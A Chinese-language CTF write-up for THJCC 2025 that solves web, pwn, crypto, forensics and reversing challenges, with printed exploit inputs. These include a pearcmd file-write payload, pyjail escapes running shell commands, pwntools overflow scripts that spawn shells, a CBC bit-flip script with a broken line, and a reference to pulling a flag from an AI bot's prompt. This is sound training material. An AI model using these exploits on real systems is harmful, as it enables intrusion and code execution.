---
# System prepended metadata

title: THJCC 2025 WriteUp

---

# THJCC 2025 WriteUp

## WarmUp

### Welcome

![image](https://hackmd.io/_uploads/HkUAKrSkxe.png)

### beep boop beep boop

Binary to Text (ASCII)

### Discord Challenge

AI 被下的 system prompt 估計是管理員才能獲取到 Flag

![image](https://hackmd.io/_uploads/rJdmcBrJll.png)

## Web

### Headless

GET　/ 能獲得

![image](https://hackmd.io/_uploads/r1Qw9SSkex.png)

因此下一步進到 /robots.txt

![image](https://hackmd.io/_uploads/BJGY5BSyll.png)

發現一個 /hum4n-0nLy 的可疑 path，進去觀察

最後頁面中在發現了原始碼，看見了 /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d 在 len(request.headers) <= 0 時才會回傳 flag

![image](https://hackmd.io/_uploads/HkPs5rS1xe.png)

最後直接用 nc GET 了網頁，就能取得 Flag 了

![image](https://hackmd.io/_uploads/rk_4iHSklx.png)

### Nothing here 👀

看到網頁原始碼有奇怪的字串(enc)，字尾 = 透露可能是 base64，直接丟去解碼

![image](https://hackmd.io/_uploads/rydPsBr1ll.png)

```
>>> base64.b64decode("VEhKQ0N7aDR2ZV9mNW5fMW5fYjRieV93M2JfYTUxNjFjYzIyYWYyYWIyMH0=")
b'THJCC{h4ve_f5n_1n_b4by_w3b_a5161cc22af2ab20}'
```

### APPL3 STOR3🍎

點進去看到 buy 頁面，在 DevTool 看見頁面使用 Cookie 明文紀錄購買的產品及售價，把售價更改成 0 即可成功購買

發現購買成功但沒 Flag 後看見 ID 為數字，於是開始試試附近的數字，85, 86, 87... 中，要的 ID 為 87

![image](https://hackmd.io/_uploads/SJ7pnSHJll.png)

### Lime Ranger

~~看了半天才看到右下角有個「查看源碼」按鈕~~

發現 bonus_code 是把 query 做 unserialize 後把 key 跟 數值加到玩家 inventory 裡面

![image](https://hackmd.io/_uploads/ryfbaBB1lx.png)

拿到 Flag 的條件為擁有 UR, SR 總合數量 >= 10

![image](https://hackmd.io/_uploads/SkaFTBSklg.png)


故構造一個 payload 讓程式讀 query 做 unserialize 是一個陣列，把數值加到 inventory 的 UR, SR 裡面

![image](https://hackmd.io/_uploads/SJUJRBr1gg.png)

![image](https://hackmd.io/_uploads/ByMgAHHyex.png)

### proxy | under_development

以前做過類似的 Proxy 題目（雖然是 PHP）

- 鎖 https:// 及 http://

- 預設 host 格式

- DNS 解析 -> 172.32.0.20 即不接受 Proxy

![image](https://hackmd.io/_uploads/Hyi7RBS1lg.png)

發現協議少雙斜線在 JavaScript 會被自動補上

- 繞過 https:// 或 http://

![image](https://hackmd.io/_uploads/B1HaRrSkgg.png)

以及通過詢問 AI 拿到可以使用 username@url 的格式

但之後沒用（可能說不定中間測出來沒辦法），想到直接把後面當 path，於是 payload 的 host 就變成 `https:mydomain/`

（用自己的 Domain 繞 DNS 解析，沒有 Domain 的話也可用 ngrok 等工具）

最後把 request 引入自己的伺服器候用 Location Header 轉發到 secret.flag.thjcc.tw/flag 即可看到 Flag

### i18n

看到變數 include 之後想起來之前所做過的題目

![image](https://hackmd.io/_uploads/Sy0UeUHyxx.png)

通過 pearcmd.php 寫入 php 文件後，就可以用 `file_get_contents('/flag')` 就可以把內容顯示在網頁上面了
（因為瀏覽器會將符號編碼問題，可以使用 Burp Suite 發送請求）

`GET /?+config-create+/&lang=../../../../../usr/local/lib/php/pearcmd&<?=file_get_contents("/flag")?>+/tmp/hello.php`

做 pearcmd config-create <字串> <文件位置>

將會在 <文件位置> 創建一個文件並寫入包含 <字串> 的字（準確來講是整個 argv）

![image](https://hackmd.io/_uploads/SJMQN8H1xl.png)

最後讓原本頁面 include 自己新增的 php 即可看到 flag

![image](https://hackmd.io/_uploads/B1anVIHkll.png)

## Misc

### network noise

亂碼中找 Flag

![image](https://hackmd.io/_uploads/S1-4WAB1el.png)

### Seems like someone’s breaking down😂

翻到最下面有一個登入成功的案例，但 password 顯然不是 Flag

```
>>> base64.b64decode("VEhKQ0N7ZmFrZWZsYWd9")
b'THJCC{fakeflag}'
```
![image](https://hackmd.io/_uploads/BJY8bArJge.png)

因此翻其他登入成功的案例，找到不同的 password

```
>>> base64.b64decode("VEhKQ0N7TDBnX0YwcjNONTFDNV8xc19FNDVZfQ==")
b'THJCC{L0g_F0r3N51C5_1s_E45Y}'
```

![image](https://hackmd.io/_uploads/SJ8gfCHkgg.png)


### Hidden in memory...

參考 [這篇](https://pingtrip.com/ctf/DEADFACE2021/windowpains2) 用 volatility 工具拉出來 Registry 的資料

先用 hivelist 指令找出來註冊表 `\REGISTRY\MACHINE\SYSTEM` 在記憶體的偏移量

```
vol -f memdump.dmp hivelist
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
Offset  FileFullPath    File output

0xd80b47676000          Disabled
0xd80b4768d000  \REGISTRY\MACHINE\SYSTEM        Disabled
0xd80b47731000  \REGISTRY\MACHINE\HARDWARE      Disabled
0xd80b4a17e000  \Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD  Disabled
0xd80b4a040000  \SystemRoot\System32\Config\SOFTWARE    Disabled
0xd80b4acbe000  \SystemRoot\System32\Config\DEFAULT     Disabled
0xd80b4ae03000  \SystemRoot\System32\Config\SECURITY    Disabled
0xd80b4ae77000  \SystemRoot\System32\Config\SAM Disabled
0xd80b4af90000  \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT        Disabled
0xd80b4b0b1000  \SystemRoot\System32\Config\BBI Disabled
0xd80b4b114000  \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT  Disabled
0xd80b4b6b8000  \??\C:\Users\WH3R3-Y0U-G3TM3\ntuser.dat Disabled
0xd80b4b706000  \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Microsoft\Windows\UsrClass.dat       Disabled
0xd80b4c1df000  \??\C:\Windows\AppCompat\Programs\Amcache.hve   Disabled
0xd80b4cd6a000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.19041.1023_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat     Disabled
0xd80b4cd88000  \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat       Disabled
0xd80b4cdd3000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Search_1.14.9.19041_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled
0xd80b4ce8f000  \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat        Disabled
0xd80b4df8f000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\ActivationStore.dat   Disabled
0xd80b4ee8e000  \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat  Disabled
0xd80b4efdc000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.2.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat     Disabled
```

之後用 windows.registry.printkey.PrintKey 指令來印出偏移量上面的註冊表資料，並加入 key 值過濾出想要的項目

```
vol -f memdump.dmp windows.registry.printkey.PrintKey --offset 0xd80b4768d000 --key 'ControlSet001\Control\ComputerName\ComputerName'
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
Last Write Time Hive Offset     Type    Key     Name    Data    Volatile

2025-03-18 03:51:47.000000 UTC  0xd80b4768d000  REG_SZ  \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName        (Default)       "mnmsrvc"   False
2025-03-18 03:51:47.000000 UTC  0xd80b4768d000  REG_SZ  \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName        ComputerName    "WH3R3-Y0U-G3TM3"   False
```

Flag: THJCC{WH3R3-Y0U-G3TM3}

### Pyjail02

比 Pyjail01 還簡單的 02，做 NFKC 後還沒過濾字串，直接抓 `<class os.wrap_close>` 做 popen

```
> ().__class__.__base__.__subclasses__()[-8].__init__.__globals__['popen']('cat /flag.txt').read()
THJCC{pYj41l_w17h_r3m0v3d_bu1l71n5_5ebd37c1}
```

### Pyjail01

一開始被那個過濾器騙了，之後發現下面不是 eval 而是 exec 還有加 while True，可直接覆蓋原本的變數，代表可以覆蓋掉過濾器。

```
> _=''
> import os
> os.system('cat /flag.txt')
THJCC{3asy_pYj41l_w1th_bl0ck3d_4sc11_a77fb11f}>
```

### There Is Nothing! 🏞️

這張圖片有 100 > KB，但經過 ffmpeg 後重新編碼的圖片只有不到 10 KB，肯定是有某種資料藏在這檔案裏面。

過 binwalk 確定只有一張圖片

```
(base) ubuntu@DESKTOP-PLBH64C:~$ binwalk nothing_here.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.02
```

從 HxD 看 FF D9 的位置也正常

![image](https://hackmd.io/_uploads/B1uHw0Skge.png)

而且從可以 JEPG 藏字的地方找不到字

因此研判是圖片大小被修改了

照著這個[網頁](https://cyberhacktics.com/hiding-information-by-changing-an-images-height/)的教學即可修改圖片大小，找到 FF C0 標籤，後面會放圖片的長寬，因此把數字改大（寬不能改，圖片原本比例會跑掉）。

![image](https://hackmd.io/_uploads/BJQ1_RSyll.png)

![image](https://hackmd.io/_uploads/ByBbO0S1xx.png)

![image](https://hackmd.io/_uploads/ryzr_Cr1gx.png)

## Pwn

### Flag Shopping

輸入點 `scanf("%d", &option);` 與 `scanf("%lld", &num);` 可判斷是否可購買是通過 `money < price[option]*(int)num` 且 `num >= 1` 才是給過的輸入。因此讓 num 輸入很大的數字讓 `price[option]` overflow 變成負數或任何其他 <= 100 的數字即可成功

```
            Welcome to the FLAG SHOP!!!
===================================================

Which one would you like? (enter the serial number)
1. Coffee
2. Tea
3. Flag
> 3
How many do you need?
> 18
THJCC{W0w_U_R_G0oD_at_SHoPplng}
```

### Money Overflow

輸入點 `gets(customer.name)` 明顯 overflow

```
struct
{
    int id;
    char name[20];
    unsigned short money;
} customer;
```

customer.name 後面的記憶題即是 money 的記憶體

因此編寫腳本覆蓋掉 money 的記憶體數值變成 65535

```python
from pwn import *

p = remote('chal.ctf.scint.org', 10001)

p.sendline(b'A' * 20 + p32(0xffff))

p.interactive()
```


```
[+] Opening connection to chal.ctf.scint.org on port 10001: Done
[*] Switching to interactive mode
Enter your name: 1) cake 100$
2) bun 50$
3) cookie 25$
4) water 15$
5) get shell 65535$
Your money : 65535$
Buy > $ 5
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
THJCC{Y0uR_n@mE_I$_ToO_LoO0OOO00oO0000o0O00OoNG}
```

### Insecure Shell

這題看了有點久才看到是邏輯問題，`check_password(password, buf, strlen(buf))` 用輸入的 buf 的長度 strlen(buf) 來驗證，且驗證是用 for 迴圈一個一個對照數值是否相等。

因此如果輸入的長度為 0 就會直接回報正確

```python
from pwn import *

p = remote('chal.ctf.scint.org', 10004)

p.sendline(chr(0x0))

p.interactive()
```

```
[+] Opening connection to chal.ctf.scint.org on port 10004: Done
/home/ubuntu/CTF/test.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(chr(0x0))
[*] Switching to interactive mode
Enter the password >$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
THJCC{H0w_did_you_tyPE_\x00?}
```

### Once

看見 `printf(buf)` 表示直接把用戶的輸入進 format，會有堆疊、寄存器洩漏的問題

```
Guess the secret, you only have one chance
guess >%1$p
Your guess: 0x7ffc5bb2a0a0
Are you sure? [y/n] >n
guess >%2$p
Your guess: (nil)
Are you sure? [y/n] >n
guess >%3$p
Your guess: 0x7fdbb4cb2887
Are you sure? [y/n] >n
guess >%4$p
Your guess: 0xc
Are you sure? [y/n] >n
guess >%5$p
Your guess: 0xc
Are you sure? [y/n] >n
guess >%6$p
Your guess: (nil)
Are you sure? [y/n] >n
guess >%7$p
Your guess: 0xf6e000000
Are you sure? [y/n] >n
guess >%8$p
Your guess: 0x7b716276225c543b
Are you sure? [y/n] >n
guess >%9$p
Your guess: 0x507b6c763c624c
Are you sure? [y/n] >n
guess >%10$p
Your guess: 0x7024303125
Are you sure? [y/n] >n
guess >%11$p
Your guess: (nil)
Are you sure? [y/n] >n
guess > abc
Your guess: abc
Are you sure? [y/n] >y
Incorrect answer
Correct answer is ;T\"vbq{Lb<vl{P
```

將 %7$p ~ %10$p 段進行解碼，即可看見密碼存在裡面的 8~9 段

![image](https://hackmd.io/_uploads/BJLVZJUkxe.png)

因此

```
Guess the secret, you only have one chance
guess >%8$p
Your guess: 0x65386d5b606a4823
Are you sure? [y/n] >n
guess >%9$p
Your guess: 0x317e79762b7867
Are you sure? [y/n] >n
guess >#Hj`[m8egx+vy~1
Your guess: #Hj`[m8egx+vy~1
Are you sure? [y/n] >y
Correct answer!
ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
THJCC{d1dN'T_!_5@y_yoU_ON1Y_h4V3_oN3_cH@Nc3?}
```

### Bank Clerk

本題丟到了 BinaryNinja 並把 assembly 結果丟給 DeepSeek，表示是覆蓋 .got 表的 sleep 換成 backdoor，但出來的 offset 是錯的 因此得自己找。

先找 accounts 的位置

![image](https://hackmd.io/_uploads/Syg_Q1Iyex.png)


再找 .got 的位置

![image](https://hackmd.io/_uploads/B1vzXJIkxx.png)

`(0x4048 - 0x4080)/4 = -14`

因此要填入的 id 為 -14

之後找 .got 目前的位置以及目標指向的位置（backdoor）

目前位置指向 0x0090

```
gdb-peda$ x/x 0x555555558048
0x555555558048 <sleep@got.plt>: 0x0000555555555090
gdb-peda$ p backdoor
$2 = {<text variable, no debug info>} 0x555555555250 <backdoor>
```

目標位置指向 0x555555555250

故

0x555555555250 - 0x555555555090 = 448

因此 amount 要輸入 448

結果：

```
Welcome to the bank!
1) deposit
2) withdraw
Your choice> 1
id> -14
Enter the amount to deposit> 448
Deposited 448$ to account -14
1) deposit
2) withdraw
Your choice> 2
id> 1
Enter the amount to withdraw> 1000000000
ERROR! Current balance: 0
ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
THJCC{p@R7!AL_R3lR0_witH_p!3??}
```

## Crypto

### Twins

p, q 為 p, p + 2

因此很容易被分解，通過 N + 1 = (p^2 + 2p + 1)可用 isqrt 直接解出 p + 1，因此直接得出 p, q。

用 AI 快速編寫腳本解

```python
import math
from Crypto.Util.number import inverse, long_to_bytes

N = 28265512785148668054687043164424479693022518403222612488086445701689124273153696780242227509530772578907204832839238806308349909883785833919803783017981782039457779890719524768882538916689390586069021017913449495843389734501636869534811161705302909526091341688003633952946690251723141803504236229676764434381120627728396492933432532477394686210236237307487092128430901017076078672141054391434391221235250617521040574175917928908260464932759768756492640542972712185979573153310617473732689834823878693765091574573705645787115368785993218863613417526550074647279387964173517578542035975778346299436470983976879797185599
e = 65537
C = 1234497647123308288391904075072934244007064896189041550178095227267495162612272877152882163571742252626259268589864910102423177510178752163223221459996160714504197888681222151502228992956903455786043319950053003932870663183361471018529120546317847198631213528937107950028181726193828290348098644533807726842037434372156999629613421312700151522193494400679327751356663646285177221717760901491000675090133898733612124353359435310509848314232331322850131928967606142771511767840453196223470254391920898879115092727661362178200356905669261193273062761808763579835188897788790062331610502780912517243068724827958000057923

# 计算k = sqrt(N + 1)
n_plus_1 = N + 1
k = math.isqrt(n_plus_1)
assert k * k == n_plus_1, "N+1不是完全平方数，请检查输入"

p = k - 1
q = k + 1

# 计算φ(N)
phi = (p - 1) * (q - 1)

# 求模反元素d
d = inverse(e, phi)

# 解密得到明文
m = pow(C, d, N)

# 转换为字节
flag = long_to_bytes(m).decode()

print("Flag:", flag)
```

### DAES

從原始碼可看見 DAES 是通過兩層的 AES-ECB 之後的結果。
因此可使用 Meet in the middle 快速解出兩層 key

```python
#!/usr/bin/python3
from Crypto.Cipher import AES
from secret import FLAG
import random
import os
import signal

TIMEOUT = 120

def timeout_handler(signum, frame):
    print("\nTime's up! No flag for u...")
    exit()

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(TIMEOUT)

target = os.urandom(16)

keys = [b'whalekey:' + str(random.randrange(1000000, 1999999)).encode() for _ in range(2)]

def enc(key, msg):
    ecb = AES.new(key, AES.MODE_ECB)
    return ecb.encrypt(msg)

def daes(msg):
    tmp = enc(keys[0], msg)
    return enc(keys[1], tmp)

test = b'you are my fire~'
print(daes(test).hex())
print(daes(target).hex())

ans = input("Ans:")

if ans == target.hex():
    print(FLAG)
else:
    print("Nah, no flag for u...")

signal.alarm(0)
```

因此編寫出解碼腳本

```python
from Crypto.Cipher import AES

def enc(key, msg):
    ecb = AES.new(key, AES.MODE_ECB)
    return ecb.encrypt(msg)

def dec(key, msg):
    ecb = AES.new(key, AES.MODE_ECB)
    return ecb.decrypt(msg)

test = b'you are my fire~'
test_enc = bytes.fromhex(input("test_enc: "))

target_enc = bytes.fromhex(input("target_enc: "))

keys = [b'whalekey:' + str(num).encode() for num in range(1000000, 1999999)]

table = {}

for key in keys:
    enc1 = enc(key, test)
    table[enc1] = key

for key in keys:
    enc1 = dec(key, test_enc)
    if enc1 in table:
        key1 = table[enc1]
        key2 = key
        
        print(f"found key1, key2\n{key1=}\n{key2=}")
        
        print(f'Ans: {dec(key1, dec(key2, target_enc)).hex()}')

```

```
28cd8a052027afc2fbc9ef2ca70ad9b2
b839fa6aeab379c7c9570af6b7f4afb4
Ans:2d423b1b71ad08cb7cce295a7de08793
THJCC{see_u_again_in_the_middle}
```

### Frequency Freakout

一般的頻率分析暴力解，直接丟進[這個網站](https://planetcalc.com/8047/)解密即可。

![image](https://hackmd.io/_uploads/S10l6gLygl.png)

### SNAKE

~~一個懶得看可以直接丟去 AI 的加密~~

展開來後的腳本

```python
SSSSS = input()

x_list = []

result = ''
    

for i in range(0, len(SSSSS) * 8, 4):
    x_list.append(''.join(f"{ord(c):08b}" for c in SSSSS)[i:i+4])

for x in x_list:
    result += "!@#$%^&*(){}[]:;"[int(x, 2)]

print(result)
```

因此可看出只要從 x_list 代表把所有 c(字元) 做 ord 之後每 4 bit 做一次切片的 List

只要從 result 求回 x_list 就可以直接做解碼

```python
# 這是你的映射字串
symbols = "!@#$%^&*(){}[]:;"

# 輸入：你要解碼的符號字串
encoded = input("輸入編碼後的符號字串：")

# 反查每個符號在原始字串中的索引值（轉為4位元二進位）
bits = ''.join(f"{symbols.index(c):04b}" for c in encoded)

# 每 8 位元還原成原始字元
original = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8))

print("還原後的原始字串是：", original)
```

```
Snakes are elongated limbless reptiles of the suborder Serpentes. Cladistically squamates, snakes are ectothermic, amniote vertebrates covered in overlapping scales much like other members of the group. Many species of snakes have skulls with several more joints than their lizard ancestors and relatives, enabling them to swallow prey much larger than their heads (cranial kinesis). To accommodate their narrow bodies, snakes' paired organs (such as kidneys) appear one in front of the other instead of side by side, and most only have one functional lung. Some species retain a pelvic girdle with a pair of vestigial claws on either side of the cloaca. Lizards have independently evolved elongate bodies without limbs or with greatly reduced limbs at least twenty-five times via convergent evolution, leading to many lineages of legless lizards. These resemble snakes, but several common groups of legless lizards have eyelids and external ears, which snakes lack, although this rule is not universal (see Amphisbaenia, Dibamidae, and Pygopodidae). blablabla Here is your flag: THJCC{SNAK3333333333333333}
```

### Yoshino's Secret

先上原始碼

```python
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import FLAG
import json
import os

KEY = os.urandom(16)

def encrypt(plaintext: bytes) -> bytes:
    iv = plaintext[:16]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    return iv + cipher.encrypt(pad(plaintext[16:], AES.block_size))

def decrypt(ciphertext: bytes) -> str:
    iv = ciphertext[:16]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    plaintext = unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)
    return plaintext

def check(token):
    try:
        token = bytes.fromhex(token)
        passkey = decrypt(token)
        data = json.loads(passkey)
        if data["admin"]:
            print(f"Here is your flag: {FLAG}")
            exit()
        else:
            print("Access Denied")
    except:
        print("Hacker detected, emergency shutdown of the system")
        exit()

def main():
    passkey = b'{"admin":false,"id":"TomotakeYoshino"}'
    token = encrypt(os.urandom(16) + passkey)
    print(f"token: {token.hex()}")
    while True:
        token = input("token > ")
        check(token)
    
if __name__ == '__main__':
    main()
```

可看出使用的加密法為 AES_CBC

token 上面透露的加密的 iv 值，則通過修改 iv 可以修改到原本內文的解密結果。

用 DeepSeek 生成出來的腳本如下

```python
def generate_modified_token(original_token_hex):
    # 提取IV部分（前32个十六进制字符）
    iv_hex = original_token_hex[:32]
    cipher_part = original_token_hex[32:]
    
    # 将IV转换为字节数组以便修改
    iv_bytes = bytearray(bytes.fromhex(iv_hex))
    
    # 修改IV的特定字节，将"false"变为"true"
    # 计算异或差值：f->t, a->r, l->u, s->e
    iv_bytes[9] ^= 0x12  # f(0x66) ^ 0x12 = t(0x74)
    iv_bytes[10] ^= 0x13 # a(0x61) ^ 0x13 = r(0x72)
    iv_bytes[11] ^= 0x19 # l(0x6c) ^ 0x19 = u(0x75)
    iv_bytes[12] ^= 0x16 # s(0x73) ^ 0x16 = e(0x65)
    iv_bytes[13] ^= 0x   # e(0x65) ^ 0x45 = ' '(0x20)
    
    # 构建新的token
    new_iv_hex = iv_bytes.hex()
    new_token = new_iv_hex + cipher_part
    return new_token

# 示例用法：
original_token = "这里填入服务器返回的token十六进制字符串"
modified_token = generate_modified_token(original_token)
print("提交的token应为:", modified_token)
```

```
token: 0b307eeb5cefb14dc721ca7dbbb1cd7300468955eb90c8f85ef54f4acbc4fc211cd7757d88d77684abd5584893acb40ef9a82e293766a5a95984347821c43565
token > 0b307eeb5cefb14dc733d964adf4cd7300468955eb90c8f85ef54f4acbc4fc211cd7757d88d77684abd5584893acb40ef9a82e293766a5a95984347821c43565
Here is your flag: b"THJCC{F1iP_Ou7_y0$Hino's_53Cr3t}"
Hacker detected, emergency shutdown of the system
```

### Speeded Block Cipher

## Reverse

### 西

從原代碼裡面看到一串 hex

看到簡單提先通靈 XOR

直接放 CyberChef 用 XOR Brute Force

![image](https://hackmd.io/_uploads/r1gJnZ8kxe.png)

### time_GEM

放 BinaryNinja 看到每次輸出都會經過 sleep 很長一段時間，直接用 patch 弄成 nop 取消等待之後 Save as 檔案拿去執行即可

![image](https://hackmd.io/_uploads/HkEwh-I1lx.png)

```
I used the Time GEM to put the flag to sleep...
Hope you can wake it up!
------------------------------splitline!-----------------------------------
T
H
J
C
C
{
H
0
w
_
I
_
e
n
V
Y
_
4
N
d
_
W
1
5
H
_
r
e
4
L
1
7
Y
_
k
0
u
L
d
_
4
L
5
0
_
k
0
N
7
R
0
l
_
T
I
M
E
-
-
>
=
.
=
!
!
!
}
```

### Python Hunter 🐍

看到 .pyc 直接丟 [https://pylingual.io/](網頁反編譯)

```python
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: hunter.py
# Bytecode version: 3.8.0rc1+ (3413)
# Source timestamp: 2025-03-24 11:52:35 UTC (1742817155)

import sys as s

def qwe(abc, xyz):
    r = []
    l = len(xyz)
    for i in range(len(abc)):
        t = chr(abc[i] ^ ord(xyz[i % l]))
        r.append(t)
    return ''.join(r)

d = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18]
k = 'door_key'
m = 'not_a_key'

def asd(p):
    u = 42
    v = qwe(d, k)
    w = qwe(d, p)
    if w == v:
        print(f'Correct! {v}')
    else:
        print('Wrong!')

def dummy():
    return len(d) * 2 - 1
if __name__ == '__main__':
    if len(s.argv) > 1:
        asd(s.argv[1])
    else:
        print('Please provide a key as an argument.')
    dummy()
```

d 與 k 做 XOR 即 Correct

則

![image](https://hackmd.io/_uploads/HkUYTWU1xx.png)

### Flag Checker

~~抱歉我很懶得看很長又已經被編譯過的編碼 所以這題也是丟 DeepSeek 處理~~

```Python
def rol(n, shift, bits=8):
    shift %= bits
    return ((n << shift) | (n >> (bits - shift))) & ((1 << bits) - 1)

def ror(n, shift, bits=8):
    shift %= bits
    return ((n >> shift) | (n << (bits - shift)) & ((1 << bits) - 1))

data_4020 = [
    0xfa, 0xc5, 0x81, 0x50, 0x9b, 0x75, 0x72, 0x6d,
    0xa5, 0xb5, 0x100, 0xd1, 0x171, 0x1c1, 0x160, 0x13b,
    0x163, 0x1a2, 0xf7, 0x167, 0x184, 0x155, 0x174, 0x121,
    0xd1, 0x8d, 0x80, 0x181, 0x174, 0x1dd, 0x50, 0x00, 0x50
]

processed = []
for i in range(0, 30, 3):
    a_plus_b = data_4020[i]
    b_plus_c = data_4020[i+1]
    a_plus_c = data_4020[i+2]
    a = (a_plus_b + a_plus_c - b_plus_c) // 2
    b = a_plus_b - a
    c = a_plus_c - a
    processed.extend([a, b, c])

flag = []
for i, c in enumerate(processed):
    reversed_c = c ^ 0xf
    reversed_c = ror(reversed_c, i % 8)
    flag.append(reversed_c)

print(''.join(chr(b) for b in flag))
```

結果自己補上 } 之後就對了

```
THJCC{i$_&_0x7_equaL_to_m0D_8?
```

### Noo dle

從 encrypt 知道加密方式單純使用在一個 byte 裡面做 bit 映射後的結果

由 expand 做 bit 的展開

之後在做一個 byte 內的 bit swap

最後在用 compress 把 bit 陣列壓縮回 byte

![image](https://hackmd.io/_uploads/r1IUidqyge.png)

所以可以編寫腳本把 hex 通過每個 byte 內相同的 bit 映射回原本的資料

~~然後我就找不到映射順序了~~

之後選擇直接尋所有的排列組合

```python
import itertools


for a, b, c, d, f, g, h, i in list(itertools.permutations([1, 2, 3, 4, 5, 6, 7, 8])):
    def decrypt_byte(e):
        b0 = (e >> a) & 1
        b1 = (e >> b) & 1
        b2 = (e >> c) & 1
        b3 = (e >> d) & 1
        b4 = (e >> f) & 1
        b5 = (e >> g) & 1
        b6 = (e >> h) & 1
        b7 = (e >> i) & 1
        return (b0 << 7) | (b1 << 6) | (b2 << 5) | (b3 << 4) | (b4 << 3) | (b5 << 2) | (b6 << 1) | b7

    encrypted_hex = "2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee"
    encrypted_bytes = bytes.fromhex(encrypted_hex)

    decrypted_bytes = bytes([decrypt_byte(b) for b in encrypted_bytes])

    if b'THJCC' in decrypted_bytes:
        print(decrypted_bytes)
```

```
b'THJCC\xdbY\xcf\xd5_C@\xce_J\xd5\xd3T_\xc2RU\xd4\x93_F\x90R\xc3E_B\xd4\xd7\xdd'
b'THJCC\xcfM\xdb\xd5_C@\xda_J\xd5\xc7T_\xc2FU\xd4\x87_R\x84F\xc3Q_B\xd4\xd7\xdd'
b'THJCC{You_C@n_JusT_bRUt3_F0RcE_Btw}' <- flag
b"THJCCoM{u_C@z_JugT_bFUt'_R$FcQ_Btw}"
```

### Empty

從逆向看出來這個程式沒有 main 函數，但在執行時仍然能夠正常跑

從 _start 區可看見正在執行某種 XOR 的操作，因此猜測是在 _start 時就會從一個 byte 開始一步一步 xor 出整個 main 的程式

而開始使用 gdb 的 ni 指令跳過這整個流程，之後實測出來約是使用 ni 1600 左右就能直接跳到主程式執行區

之後就能夠通過 disassemble 挖出來整個函式的反彙編

```
   0x0000555555555064:  push   rbp
   0x0000555555555065:  mov    rbp,rsp
   0x0000555555555068:  sub    rsp,0x30
   0x000055555555506c:  mov    rax,QWORD PTR fs:0x28
   0x0000555555555075:  mov    QWORD PTR [rbp-0x8],rax
   0x0000555555555079:  xor    eax,eax
   0x000055555555507b:  mov    QWORD PTR [rbp-0x20],0x0
   0x0000555555555083:  mov    QWORD PTR [rbp-0x18],0x0
   0x000055555555508b:  mov    BYTE PTR [rbp-0x10],0x0
   0x000055555555508f:  lea    rax,[rip+0xf6a]        # 0x555555556000
   0x0000555555555096:  mov    rdi,rax
   0x0000555555555099:  mov    eax,0x0
   0x000055555555509e:  call   0x555555555030 <printf@plt>
   0x00005555555550a3:  lea    rax,[rbp-0x20]
   0x00005555555550a7:  mov    rsi,rax
   0x00005555555550aa:  lea    rax,[rip+0xf5b]        # 0x55555555600c
   0x00005555555550b1:  mov    rdi,rax
   0x00005555555550b4:  mov    eax,0x0
   0x00005555555550b9:  call   0x555555555040 <__isoc99_scanf@plt>
   0x00005555555550be:  mov    DWORD PTR [rbp-0x28],0x0
   0x00005555555550c5:  jmp    0x555555555107
   0x00005555555550c7:  mov    eax,DWORD PTR [rbp-0x28]
   0x00005555555550ca:  cdqe
   0x00005555555550cc:  movzx  eax,BYTE PTR [rbp+rax*1-0x20]
   0x00005555555550d1:  xor    eax,0xffffffab
   0x00005555555550d4:  mov    ecx,eax
   0x00005555555550d6:  mov    eax,DWORD PTR [rbp-0x28]
   0x00005555555550d9:  cdqe
   0x00005555555550db:  lea    rdx,[rip+0x2f1e]        # 0x555555558000
   0x00005555555550e2:  movzx  eax,BYTE PTR [rax+rdx*1]
   0x00005555555550e6:  cmp    cl,al
   0x00005555555550e8:  je     0x555555555103
